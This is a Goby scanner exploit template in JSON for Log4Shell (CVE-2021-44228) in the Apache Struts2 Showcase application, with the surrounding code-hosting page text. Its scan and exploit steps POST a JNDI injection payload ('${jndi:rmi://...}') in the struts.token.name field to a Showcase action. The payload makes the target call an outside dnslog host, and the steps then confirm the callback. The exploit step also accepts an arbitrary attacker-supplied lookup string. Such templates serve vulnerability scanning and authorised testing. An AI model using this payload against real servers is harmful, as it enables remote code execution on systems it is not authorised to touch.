Goby/json/Struts2_Log4Shell_CVE_2021_...

152 lines
5.5 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{
"Name": "Struts2 Log4Shell CVE-2021-44228 (1)",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "app=\"Struts2\"",
"Description": "Struts2 Showcase(2.5.27) 存在log4j命令执行漏洞向/struts2-showcase/token/transfer4.action地址发送数据struts.token.name触发。",
"Product": "Struts2",
"Homepage": "https://struts.apache.org/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis"
],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "${jndi:rmi://xxxxdnslog.cn/tes}"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getdomain.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"dnstest|lastbody||"
]
},
{
"Request": {
"method": "POST",
"uri": "/struts2-showcase/token/transfer4.action",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "struts.token.name='${jndi:rmi://{{{dnstest}}}/tes}'",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
},
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getrecords.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "{{{dnstest}}}",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/struts2-showcase/token/transfer4.action",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "struts.token.name='{{{cmd}}}'",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "2021-12-22 16:09:42",
"GobyVersion": "1.9.310"
}